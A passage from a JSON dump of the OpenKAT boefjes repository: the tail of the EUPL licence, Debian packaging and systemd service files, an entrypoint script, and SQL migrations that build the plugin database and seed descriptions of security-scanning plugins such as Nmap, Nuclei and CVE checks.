liability.\n\n  10. Acceptance of the Licence\n\n  The provisions of this Licence can be accepted by clicking on an icon ‘I agree’\n  placed under the bottom of a window displaying the text of this Licence or by\n  affirming consent in any other similar way, in accordance with the rules of\n  applicable law. Clicking on that icon indicates your clear and irrevocable\n  acceptance of this Licence and all of its terms and conditions.\n\n  Similarly, you irrevocably accept this Licence and all of its terms and\n  conditions by exercising any rights granted to You by Article 2 of this Licence,\n  such as the use of the Work, the creation by You of a Derivative Work or the\n  Distribution or Communication by You of the Work or copies thereof.\n\n  11. Information to the public\n\n  In case of any Distribution or Communication of the Work by means of electronic\n  communication by You (for example, by offering to download the Work from a\n  remote location) the distribution channel or media (for example, a website) must\n  at least provide to the public the information requested by the applicable law\n  regarding the Licensor, the Licence and the way it may be accessible, concluded,\n  stored and reproduced by the Licensee.\n\n  12. Termination of the Licence\n\n  The Licence and the rights granted hereunder will terminate automatically upon\n  any breach by the Licensee of the terms of the Licence.\n\n  Such a termination will not terminate the licences of any person who has\n  received the Work from the Licensee under the Licence, provided such persons\n  remain in full compliance with the Licence.\n\n  13. Miscellaneous\n\n  Without prejudice of Article 9 above, the Licence represents the complete\n  agreement between the Parties as to the Work.\n\n  If any provision of the Licence is invalid or unenforceable under applicable\n  law, this will not affect the validity or enforceability of the Licence as a\n  whole. Such provision will be construed or reformed so as necessary to make it\n  valid and enforceable.\n\n  The European Commission may publish other linguistic versions or new versions of\n  this Licence or updated versions of the Appendix, so far this is required and\n  reasonable, without reducing the scope of the rights granted by the Licence. New\n  versions of the Licence will be published with a unique version number.\n\n  All linguistic versions of this Licence, approved by the European Commission,\n  have identical value. Parties can take advantage of the linguistic version of\n  their choice.\n\n  14. Jurisdiction\n\n  Without prejudice to specific agreement between parties,\n\n  - any litigation resulting from the interpretation of this License, arising\n    between the European Union institutions, bodies, offices or agencies, as a\n    Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n    of Justice of the European Union, as laid down in article 272 of the Treaty on\n    the Functioning of the European Union,\n\n  - any litigation arising between other parties and resulting from the\n    interpretation of this License, will be subject to the exclusive jurisdiction\n    of the competent court where the Licensor resides or conducts its primary\n    business.\n\n  15. Applicable Law\n\n  Without prejudice to specific agreement between parties,\n\n  - this Licence shall be governed by the law of the European Union Member State\n    where the Licensor has his seat, resides or has his registered office,\n\n  - this licence shall be governed by Belgian law if the Licensor has no seat,\n    residence or registered office inside a European Union Member State.\n\n  Appendix\n\n  ‘Compatible Licences’ according to Article 5 EUPL are:\n\n  - GNU General Public License (GPL) v. 2, v. 3\n  - GNU Affero General Public License (AGPL) v. 3\n  - Open Software License (OSL) v. 2.1, v. 3.0\n  - Eclipse Public License (EPL) v. 1.0\n  - CeCILL v. 2.0, v. 2.1\n  - Mozilla Public Licence (MPL) v. 2\n  - GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n  - Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n    works other than software\n  - European Union Public Licence (EUPL) v. 1.1, v. 1.2\n  - Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n    Reciprocity (LiLiQ-R+).\n\n  The European Commission may update this Appendix to later versions of the above\n  licences without producing a new version of the EUPL, as long as they provide\n  the rights granted in Article 2 of this Licence and protect the covered Source\n  Code from exclusive appropriation.\n\n  All other changes or additions to this Appendix require the production of a new\n  EUPL version.\n"
  },
  {
    "path": "boefjes/debian/install",
    "content": "packaging/deb/data/etc/kat/* etc/kat\npackaging/deb/data/usr/* usr\n"
  },
  {
    "path": "boefjes/debian/kat-boefjes.kat-boefjes.service",
    "content": "[Unit]\nDescription=kat-boefjes daemon\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-boefjes\nWorkingDirectory=/opt/venvs/kat-boefjes/lib/python3.9/site-packages\nEnvironmentFile=/usr/lib/kat/boefjes.defaults\nEnvironmentFile=/etc/kat/boefjes.conf\nExecStart=/opt/venvs/kat-boefjes/bin/python -m boefjes boefje\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "boefjes/debian/kat-boefjes.kat-katalogus.service",
    "content": "[Unit]\nDescription=kat-katalogus daemon\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-katalogus\nWorkingDirectory=/opt/venvs/kat-boefjes/lib/python3.9/site-packages\nEnvironmentFile=/usr/lib/kat/boefjes.defaults\nEnvironmentFile=/etc/kat/boefjes.conf\nExecStart=/opt/venvs/kat-boefjes/bin/python -m gunicorn \\\n          --access-logfile - \\\n          -c /etc/kat/katalogus.gunicorn.conf.py \\\n          -k uvicorn.workers.UvicornWorker \\\n          boefjes.katalogus.root:app\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "boefjes/debian/kat-boefjes.kat-normalizers.service",
    "content": "[Unit]\nDescription=kat-normalizers daemon\nAfter=network.target\n\n[Service]\nUser=kat\nGroup=kat\nSyslogIdentifier=kat-normalizers\nWorkingDirectory=/opt/venvs/kat-boefjes/lib/python3.9/site-packages\nEnvironmentFile=/usr/lib/kat/boefjes.defaults\nEnvironmentFile=/etc/kat/boefjes.conf\nExecStart=/opt/venvs/kat-boefjes/bin/python -m boefjes normalizer\nRestart=on-failure\nRestartSec=3s\nKillMode=mixed\n\n[Install]\nWantedBy=multi-user.target\n"
  },
  {
    "path": "boefjes/debian/kat-boefjes.sysusers",
    "content": "u kat - \"OpenKAT\" /nonexistent\nm kat docker\n"
  },
  {
    "path": "boefjes/debian/postinst",
    "content": "#!/bin/bash\nset -e\n\n#DEBHELPER#\n\nchown -R root:kat /etc/kat\n"
  },
  {
    "path": "boefjes/debian/rules",
    "content": "#!/usr/bin/make -f\nexport DH_VERBOSE = 1\nexport DH_VIRTUALENV_INSTALL_ROOT = /opt/venvs\nexport PACKAGE=$(shell dh_listpackages)\nexport DH_VENV_DIR=debian/$(PACKAGE)$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)\nexport DESTDIR = $(CURDIR)/debian/$(PACKAGE)\nexport UV_LINK_MODE=copy\n\n%:\n\tdh $@ --with python-virtualenv\n\n.PHONY: override_dh_virtualenv override_dh_fixperms\n\noverride_dh_fixperms:\n\tdh_fixperms\n\tchmod 750 $(DESTDIR)/etc/kat/\n\tfind $(DESTDIR)/etc/kat -type f -exec chmod 640 {} \\;\n\tchmod 755 $(DESTDIR)/usr/bin/update-katalogus-db\n\noverride_dh_virtualenv:\n# We want to use uv but dh_virtualenv doesn't support that. So we create an\n# empty requirements file and call uv manually..\n\ttouch /tmp/requirements-empty.txt\n\tdh_virtualenv --requirements=/tmp/requirements-empty.txt --skip-install --preinstall \"uv\"\n\t$(DH_VENV_DIR)/bin/python -m uv sync --locked --active\n\t$(DH_VENV_DIR)/bin/python -m uv pip install .\n\t$(DH_VENV_DIR)/bin/python -m uv pip install gunicorn==23.0.0\n\n\tcd /octopoes && /usr/bin/python3 setup.py bdist_wheel\n\t$(DH_VENV_DIR)/bin/python -m uv pip install --no-deps /octopoes/dist/octopoes*.whl\n\n# remove pip and uv to prevent mutation of venv\n\t$(DH_VENV_DIR)/bin/python -m uv pip uninstall pip uv\n\n# Fix shebang\n\tsed -i 's|#!.*$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|#!$(DH_VIRTUALENV_INSTALL_ROOT)/$(PACKAGE)/bin/python|' $(DH_VENV_DIR)/bin/*\n\noverride_dh_gencontrol:\n\tdh_gencontrol -- -Vpython=`py3versions -d`\n\nexecute_after_dh_install:\n\tdh_installsysusers\n\noverride_dh_installsystemd:\n\tdh_installsystemd --name=kat-boefjes\n\tdh_installsystemd --name=kat-normalizers\n\tdh_installsystemd --name=kat-katalogus\n\tsed -i \"s/python3\\.[0-9]\\+/`py3versions -d`/g\" debian/kat-boefjes/lib/systemd/system/*.service\n\n# Disables dh_strip_nondeterminism because it very slow and not useful for us\noverride_dh_strip_nondeterminism:\n\n# Disable dh_dwz because it is also not useful for us\noverride_dh_dwz:\n\n# Let dpkg-shlibdeps ignore venvs\noverride_dh_shlibdeps:\n\tdh_shlibdeps -X/opt/venvs\n\n# Workaround error of dh_strip of Pillow on Ubuntu\noverride_dh_strip:\n\tdh_strip -Xsite-packages/PIL -Xsite-packages/pillow.libs\n"
  },
  {
    "path": "boefjes/debian/triggers",
    "content": "# Register interest in Python interpreter changes; and\n# don't make the Python package dependent on the virtualenv package\n# processing (noawait)\ninterest-noawait /usr/bin/python3\n\n# Also provide a symbolic trigger for all dh-virtualenv packages\ninterest dh-virtualenv-interpreter-update\n"
  },
  {
    "path": "boefjes/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\n# Make env variable comparison case insensitive\nshopt -s nocasematch\n\nif [ \"$1\" = \"boefje\" ]; then\n    exec python -m boefjes boefje \"${@:2}\"\nelif [ \"$1\" = \"normalizer\" ]; then\n    exec python -m boefjes normalizer \"${@:2}\"\nfi\n\n# The migrations and seed are for the KATalogus. They are not inside the if because this way\n# they can also be run when overruling the default cmd\nif [ \"$DATABASE_MIGRATION\" = \"1\" ] || [[ $DATABASE_MIGRATION == \"true\" ]]; then\n    python -m alembic --config /app/boefjes/boefjes/alembic.ini upgrade head\nfi\n\nif [ \"$1\" = \"katalogus\" ]; then\n    exec python -m uvicorn --host 0.0.0.0 boefjes.katalogus.root:app\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "boefjes/export_migrations/0001_add_katalogus_models.sql",
    "content": "\nCREATE TABLE organisation (\n    pk SERIAL NOT NULL,\n    id VARCHAR(4) NOT NULL,\n    name VARCHAR(32) NOT NULL,\n    PRIMARY KEY (pk)\n);\n\nCREATE TABLE repository (\n    pk SERIAL NOT NULL,\n    id VARCHAR(32) NOT NULL,\n    name VARCHAR(64) NOT NULL,\n    base_url VARCHAR(128) NOT NULL,\n    PRIMARY KEY (pk)\n);\n\nCREATE TABLE organisation_repository (\n    organisation_pk INTEGER NOT NULL,\n    repository_pk INTEGER NOT NULL,\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk),\n    FOREIGN KEY(repository_pk) REFERENCES repository (pk)\n);\n\nCREATE TABLE setting (\n    id SERIAL NOT NULL,\n    key VARCHAR(32) NOT NULL,\n    value VARCHAR(64) NOT NULL,\n    organisation_pk INTEGER NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk) ON DELETE CASCADE\n);\n\nCREATE TABLE plugin_state (\n    id SERIAL NOT NULL,\n    plugin_id VARCHAR(32) NOT NULL,\n    enabled BOOLEAN NOT NULL,\n    organisation_pk INTEGER NOT NULL,\n    repository_pk INTEGER NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk) ON DELETE CASCADE,\n    FOREIGN KEY(repository_pk) REFERENCES repository (pk) ON DELETE CASCADE,\n    UNIQUE (plugin_id)\n);\n"
  },
  {
    "path": "boefjes/export_migrations/0002_change_lengths_of_several_char_fields.sql",
    "content": "-- These were not added yet but should have been\nALTER TABLE organisation ADD CONSTRAINT organisation_id UNIQUE (id);\nALTER TABLE repository ADD CONSTRAINT repository_id UNIQUE (id);\n\n-- Update setting table\nALTER TABLE setting ADD COLUMN plugin_id VARCHAR(32) NOT NULL;\nALTER TABLE setting ALTER COLUMN key TYPE VARCHAR(128);\nALTER TABLE setting ALTER COLUMN value TYPE VARCHAR(128);\n\nALTER TABLE plugin_state ADD CONSTRAINT unique_plugin_per_repo_per_org UNIQUE (plugin_id, organisation_pk, repository_pk);\nALTER TABLE setting ADD CONSTRAINT unique_keys_per_organisation_per_plugin UNIQUE (key, organisation_pk, plugin_id);\n\n\nALTER TABLE plugin_state DROP CONSTRAINT plugin_state_plugin_id_key;\n"
  },
  {
    "path": "boefjes/export_migrations/0003_longer_plugin_ids.sql",
    "content": "ALTER TABLE setting ALTER COLUMN plugin_id TYPE VARCHAR(64);\nALTER TABLE plugin_state ALTER COLUMN plugin_id TYPE VARCHAR(64);\n"
  },
  {
    "path": "boefjes/export_migrations/0004_197672984df0_make_organisation_code_field_larger.sql",
    "content": "BEGIN;\n-- upgrade 0003 -> 197672984df0\nALTER TABLE organisation ALTER COLUMN id TYPE VARCHAR(32);\nCOMMIT;\n"
  },
  {
    "path": "boefjes/export_migrations/0005_cd34fdfafdaf_json_settings_for_settings_table.sql",
    "content": "-- Since encryption/decryption happens at the application level but these migrations do not use alembic,\n-- follow the instructions below to ensure no data is lost.\n\nCREATE TABLE settings (\n    id SERIAL NOT NULL,\n    values VARCHAR(512) NOT NULL,\n    plugin_id VARCHAR(64) NOT NULL,\n    organisation_pk INTEGER NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk) ON DELETE CASCADE,\n    CONSTRAINT unique_settings_per_organisation_per_plugin UNIQUE (organisation_pk, plugin_id)\n);\n\n-- IMPORTANT: before dropping the old setting table, migrate the old data in one of the following ways:\n\n-- When no encryption had been set up yet, this query can seed the new table with old values:\n    -- INSERT INTO settings (values, plugin_id, organisation_pk) SELECT json_object_agg(key, value)\n    -- AS values, plugin_id, organisation_pk FROM setting GROUP BY organisation_pk, plugin_id;\n\n-- If settings were encrypted, this should fill the new table with old settings (cwd being nl-kat-coordination/boefjes):\n    -- python -m boefjes.migrations.versions.cd34fdfafdaf_json_settings_for_settings_table\n\nDROP TABLE setting;\n"
  },
  {
    "path": "boefjes/export_migrations/0006_7c88b9cd96aa_remove_the_repository_model.sql",
    "content": "-- Make sure all plugin_state entries point to the LOCAL repository\nDELETE FROM plugin_state ps WHERE EXISTS(SELECT 1 FROM repository r WHERE ps.repository_pk = r.pk AND r.id != 'LOCAL');\n\n-- Make the plugin_state entries unique by plugin_id and organisation_pk only, as they all point to the LOCAL repository\nALTER TABLE plugin_state DROP CONSTRAINT unique_plugin_per_repo_per_org;\nALTER TABLE plugin_state ADD CONSTRAINT unique_plugin_id_per_org UNIQUE (plugin_id, organisation_pk);\n\n-- Remove the repository foreign key for plugin_state\nALTER TABLE plugin_state DROP CONSTRAINT plugin_state_repository_pk_fkey;\nALTER TABLE plugin_state DROP COLUMN repository_pk;\n\n-- Remove the many-to-many relation to organisations and the repository table itself\nDROP TABLE organisation_repository;\nDROP TABLE repository;\n"
  },
  {
    "path": "boefjes/export_migrations/0007_6f99834a4a5a_introduce_boefje_and_normalizer_models.sql",
    "content": "CREATE TYPE scan_level AS ENUM ('0', '1', '2', '3', '4');\n\nCREATE TABLE boefje (\n  id SERIAL NOT NULL,\n  plugin_id VARCHAR(64) NOT NULL,\n  created TIMESTAMP WITH TIME ZONE,\n  name VARCHAR(64) NOT NULL,\n  description TEXT,\n  scan_level scan_level NOT NULL,\n  consumes VARCHAR(128)[] NOT NULL,\n  produces VARCHAR(128)[] NOT NULL,\n  environment_keys VARCHAR(128)[] NOT NULL,\n  oci_image VARCHAR(256),\n  oci_arguments VARCHAR(128)[] NOT NULL,\n  version VARCHAR(16),\n  PRIMARY KEY (id),\n  UNIQUE (plugin_id)\n);\n\nCREATE TABLE normalizer (\n    id SERIAL NOT NULL,\n    plugin_id VARCHAR(64) NOT NULL,\n    created TIMESTAMP WITH TIME ZONE,\n    name VARCHAR(64) NOT NULL,\n    description TEXT,\n    consumes VARCHAR(128)[] NOT NULL,\n    produces VARCHAR(128)[] NOT NULL,\n    environment_keys VARCHAR(128)[] NOT NULL,\n    version VARCHAR(16),\n    PRIMARY KEY (id),\n    UNIQUE (plugin_id)\n);\n"
  },
  {
    "path": "boefjes/export_migrations/0008_f9de6eb7824b_introduce_boefjeconfig_model.sql",
    "content": "CREATE TABLE boefje_config (\n    id SERIAL NOT NULL,\n    settings VARCHAR(512) DEFAULT '{}' NOT NULL,\n    enabled BOOLEAN DEFAULT 'false' NOT NULL,\n    boefje_id INTEGER NOT NULL,\n    organisation_pk INTEGER NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY(boefje_id) REFERENCES boefje (id) ON DELETE CASCADE,\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk) ON DELETE CASCADE,\n    CONSTRAINT unique_boefje_config_per_organisation_per_boefje UNIQUE (organisation_pk, boefje_id)\n);\nALTER TABLE boefje_config OWNER TO katalogus_dba;\nGRANT ALL ON boefje_config TO katalogus;\n\nCREATE TABLE normalizer_config (\n    id SERIAL NOT NULL,\n    enabled BOOLEAN DEFAULT 'false' NOT NULL,\n    normalizer_id INTEGER NOT NULL,\n    organisation_pk INTEGER NOT NULL,\n    PRIMARY KEY (id),\n    FOREIGN KEY(normalizer_id) REFERENCES normalizer (id) ON DELETE CASCADE,\n    FOREIGN KEY(organisation_pk) REFERENCES organisation (pk) ON DELETE CASCADE,\n    CONSTRAINT unique_normalizer_config_per_organisation_per_normalizer UNIQUE (organisation_pk, normalizer_id)\n);\nALTER TABLE normalizer_config OWNER TO katalogus_dba;\nGRANT ALL ON normalizer_config TO katalogus;\n\nALTER TABLE boefje ADD COLUMN static BOOLEAN DEFAULT 'false' NOT NULL;\nALTER TABLE normalizer ADD COLUMN static BOOLEAN DEFAULT 'false' NOT NULL;\n\n-- For backward compatibility we insert all boefje and normalizer models and set the 'settings' and 'enabled' fields.\nINSERT INTO boefje (\n  plugin_id,\n  name,\n  description,\n  scan_level,\n  consumes,\n  produces,\n  environment_keys,\n  oci_image,\n  oci_arguments,\n  version,\n  static\n) values\n      ('adr-finding-types', 'ADR Finding Types', 'Hydrate information on API Design Rules (ADR) finding types for common design mistakes.', '0', '{\"ADRFindingType\"}', '{\"boefje/adr-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('adr-validator', 'API Design Rules validator', 'Validate if an API conforms to the API Design Rules (ADR).', '1', '{\"RESTAPI\"}', '{\"boefje/adr-validator\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('binaryedge', 'BinaryEdge', 'Use BinaryEdge to find open ports with vulnerabilities. Requires a BinaryEdge API key.', '2', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/binaryedge\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('censys', 'Censys', 'Use Censys to discover open ports, services and certificates. Requires an API key.', '1', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/censys\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('certificate-search', 'CRT', 'Searches for certificates and new hostnames in the transparency logs of crt.sh.', '1', '{\"DNSZone\"}', '{\"boefje/certificate-search\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('CVE-2023-34039', 'CVE-2023-34039 - VMware Aria Operations', 'Checks if there are static SSH keys present that can be used for remote code execution on VWware Aria Operations (CVE-2023-34039). This vulnerability can be used to bypass SSH authentication and gain access to the Aria Operations for Networks CLI.', '4', '{\"IPService\"}', '{\"boefje/CVE-2023-34039\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('CVE_2023_35078', 'CVE-2023-35078 - Ivanti EPMM', 'Checks websites for the presents of the Ivanti EPMM interface and whether the interface is vulnerable to the remote unauthenticated API access vulnerability (CVE-2023-35078). Script contribution by NFIR.', '2', '{\"Website\"}', '{\"boefje/CVE_2023_35078\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('cve-finding-types', 'CVE Finding Types', 'Hydrate information of Common Vulnerabilities and Exposures (CVE) finding types from the CVE API.', '0', '{\"CVEFindingType\"}', '{\"boefje/cve-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('cwe-finding-types', 'CWE Finding Types', 'Hydrate information of Common Weakness Enumeration (CWE) finding types.', '0', '{\"CWEFindingType\"}', '{\"boefje/cwe-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('dicom', 'DICOM', 'Find exposed DICOM servers. DICOM servers are used to process medical imaging information.', '2', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/dicom\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('dns-records', 'DNS records', 'Fetch the DNS record(s) of a hostname.', '1', '{\"Hostname\"}', '{\"boefje/dns-records\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('dns-zone', 'DNS zone', 'Fetch the parent DNS zone of a DNS zone.', '1', '{\"DNSZone\"}', '{\"boefje/dns-zone\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('dns-sec', 'DNSSEC', 'Validates DNSSEC of a hostname by checking the cryptographic signatures.', '1', '{\"Hostname\"}', '{\"boefje/dns-sec\"}', '{\"TEST_KEY\"}', 'ghcr.io/minvws/openkat/dns-sec:latest', '{}', null, true),\n      ('external_db', 'External database host fetcher', 'Fetch hostnames and IP addresses/netblocks from an external database with API. See `description.md` for more information. Useful if you have a large network and wish to add all your hosts. You can also upload hosts through the CSV upload functionality.', '0', '{\"Network\"}', '{\"boefje/external_db\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('fierce', 'Fierce', 'Perform DNS reconnaissance using Fierce. Helps to locate non-contiguous IP space and hostnames against specified hostnames. No exploitation is performed. Beware if your DNS is managed by an external party. This boefjes performs a brute force attack against the name server.', '3', '{\"Hostname\"}', '{\"boefje/fierce\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('green-hosting', 'GreenHosting', 'Use the Green Web Foundation Partner API to check whether the website is hosted on a green server. Meaning it runs on renewable energy and/or offsets its carbon footprint. Does not require an API key.', '1', '{\"Website\"}', '{\"boefje/green-hosting\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('kat-finding-types', 'KAT Finding Types', 'Hydrate information of KAT finding types.', '0', '{\"KATFindingType\"}', '{\"boefje/kat-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('leakix', 'LeakIX', 'Use LeakIX to find open ports, software and vulnerabilities. Requires a LeakIX API key.', '1', '{\"IPAddressV4\", \"Hostname\", \"IPAddressV6\"}', '{\"boefje/leakix\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('log4shell', 'Log4Shell', 'Checks for the Log4j vulnerability. This boefje will not create a finding. Requires a trusted FQDN for the catch callbacks.', '4', '{\"Hostname\"}', '{\"boefje/log4shell\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('masscan', 'masscan', 'Quickly scan large amounts of IPs. Due to the quick scanning it may not always show accurate results.', '2', '{\"IPV4NetBlock\"}', '{\"boefje/masscan\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('nikto', 'Nikto', 'Uses Nikto', '3', '{\"HostnameHTTPURL\"}', '{\"boefje/nikto\"}', '{\"TEST_KEY\"}', 'openkat/nikto', '{}', null, true),\n      ('nmap-ip-range', 'Nmap IP range', 'Scan an IP range and store found IPs. Defaults to top-250 TCP and top-10 UDP on ranges with 1024 addresses or less (max is a /22). Larger ranges are skipped by default.', '2', '{\"IPV6NetBlock\", \"IPV4NetBlock\"}', '{\"boefje/nmap-ip-range\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('nmap-ports', 'Nmap Ports', 'Scan a specific set of ports including service detection.', '2', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/nmap-ports\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('nmap', 'Nmap TCP', 'Defaults to top 250 TCP ports. Includes service detection.', '2', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/nmap\"}', '{\"TEST_KEY\"}', 'ghcr.io/minvws/openkat/nmap:latest', '{\"--open\", \"-T4\", \"-Pn\", \"-r\", \"-v10\", \"-sV\", \"-sS\"}', null, true),\n      ('nmap-udp', 'Nmap UDP', 'Defaults to top 250 UDP ports. Includes service detection.', '2', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/nmap-udp\"}', '{\"TEST_KEY\"}', 'ghcr.io/minvws/openkat/nmap:latest', '{\"--open\", \"-T4\", \"-Pn\", \"-r\", \"-v10\", \"-sV\", \"-sU\"}', null, true),\n      ('nuclei-cve', 'Nuclei CVE scan', 'Nuclei is used to send requests across targets based on a template, providing fast scanning. (CVE scanning).', '3', '{\"HostnameHTTPURL\", \"Hostname\"}', '{\"boefje/nuclei-cve\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('nuclei-exposed-panels', 'Nuclei Exposed panels', 'Nuclei is used to send requests across targets based on a template, providing fast scanning. Can be used to find specific exposed administrative panels in your network.', '3', '{\"HostnameHTTPUR\", \"Hostname\"}', '{\"boefje/nuclei-exposed-panels\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('nuclei-takeover', 'Nuclei takeover scan', 'Nuclei is used to send requests across targets based on a template, providing fast scanning. This will try to perform a sub sub-domain takeover.', '3', '{\"HostnameHTTPURL\", \"Hostname\"}', '{\"boefje/nuclei-takeover\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('rdns', 'Reverse DNS', 'Resolve IP addresses to a hostname.', '1', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/rdns\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('retirejs-finding-types', 'RetireJS Finding Types', 'Hydrate information of RetireJS finding types.', '0', '{\"RetireJSFindingType\"}', '{\"boefje/retirejs-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('rpki', 'RPKI', 'Check BGP announcements to see if an IPv4 or IPv6 address has Validated ROA Payload (VRPs).', '1', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/rpki\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('security_txt_downloader', 'Security.txt downloader', 'Downloads the security.txt file from the target website to check if it contains all the required elements.', '2', '{\"Website\"}', '{\"boefje/security_txt_downloader\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('service_banner', 'Service banner download', 'Downloads service banners from the target hosts.', '2', '{\"IPPort\"}', '{\"boefje/service_banner\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('shodan', 'Shodan', 'Use Shodan to find open ports with vulnerabilities that are found on that port. Requires an API key.', '1', '{\"IPAddressV4\", \"IPAddressV6\"}', '{\"boefje/shodan\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('snyk', 'Snyk.io-vulnerabilities', 'Get Snyk.io vulnerabilities based on identified Software.', '1', '{\"SoftwareInstance\"}', '{\"boefje/snyk\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('snyk-finding-types', 'SNYK Finding Types', 'Hydrate information of SNYK finding types.', '0', '{\"SnykFindingType\"}', '{\"boefje/snyk-finding-types\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('ssl-certificates', 'SSLCertificates', 'Scan SSL certificates of websites. Checks if certificates are valid and/or expired.', '2', '{\"Website\"}', '{\"boefje/ssl-certificates\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('ssl-version', 'SSLScan', 'Scan SSL/TLS versions (protocols) of websites. Will result in findings if outdated SSL/TLS versions are identified such as SSLv3. ', '2', '{\"Website\"}', '{\"boefje/ssl-version\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('testssl-sh-ciphers', 'Testssl.sh Ciphers', 'Checks the SSL and TLS ciphers of a website for any insecure ciphers that are offered.', '2', '{\"IPService\"}', '{\"boefje/testssl-sh-ciphers\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('webpage-analysis', 'WebpageAnalysis', 'Downloads a resource and uses several different normalizers to analyze', '2', '{\"HTTPResource\"}', '{\"application/vnd.ms-powerpoint\", \"audio/mpeg\", \"application/json+har\", \"application/json\", \"application/msword\", \"application/x-troff-me\", \"application/oda\", \"application/postscript\", \"application/x-csh\", \"audio/x-pn-realaudio\", \"application/x-cpio\", \"image/x-portable-bitmap\", \"application/vnd.apple.mpegurl\", \"text/richtext\", \"application/x-dvi\", \"application/x-python-code\", \"application/x-hdf5\", \"audio/x-aiff\", \"application/x-sv4crc\", \"image/x-xbitmap\", \"application/x-ustar\", \"image/x-xpixmap\", \"application/x-troff-ms\", \"video/x-sgi-movie\", \"image/png\", \"video/x-msvideo\", \"boefje/webpage-analysis\", \"application/manifest+json\", \"text/tab-separated-values\", \"application/x-netcdf\", \"image/ief\", \"image/x-portable-anymap\", \"message/rfc822\", \"application/xml\", \"application/x-troff-man\", \"audio/basic\", \"openkat-http/body\", \"text/csv\", \"application/x-texinfo\", \"application/x-sh\", \"video/quicktime\", \"application/x-pkcs12\", \"image/tiff\", \"application/wasm\", \"text/x-setext\", \"openkat-http/headers\", \"application/zip\", \"image/x-portable-pixmap\", \"text/html\", \"application/x-pn-realaudio\", \"application/x-wais-source\", \"application/x-shar\", \"text/plain\", \"text/x-python\", \"text/css\", \"application/pkcs7-mime\", \"audio/x-wav\", \"application/x-tcl\", \"image/x-xwindowdump\", \"application/x-tex\", \"application/pdf\", \"application/x-hdf\", \"image/gif\", \"application/x-tar\", \"application/octet-stream\", \"image/vnd.microsoft.icon\", \"application/x-mif\", \"video/mpeg\", \"image/x-cmu-raster\", \"application/x-bcpio\", \"application/x-gtar\", \"video/mp4\", \"image/svg+xml\", \"image/jpeg\", \"image/x-portable-graymap\", \"application/javascript\", \"application/x-latex\", \"image/x-rgb\", \"video/webm\", \"application/x-sv4cpio\", \"application/x-shockwave-flash\", \"text/x-vcard\", \"text/xml\", \"text/x-sgml\", \"application/vnd.ms-excel\", \"image/x-ms-bmp\", \"application/x-troff\"}', '{\"TEST_KEY\"}', null, '{}', null, true),\n      ('webpage-capture', 'Webpage Capture', 'Takes a screenshot of a webpage. Image can be found on the Tasks page in the downloadable ''meta and raw data'' file.', '2', '{\"HostnameHTTPURL\", 